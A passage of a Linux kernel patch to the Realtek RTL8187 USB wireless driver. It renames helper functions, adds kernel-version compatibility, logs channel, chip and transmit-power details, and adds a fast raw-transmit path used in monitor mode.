r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); 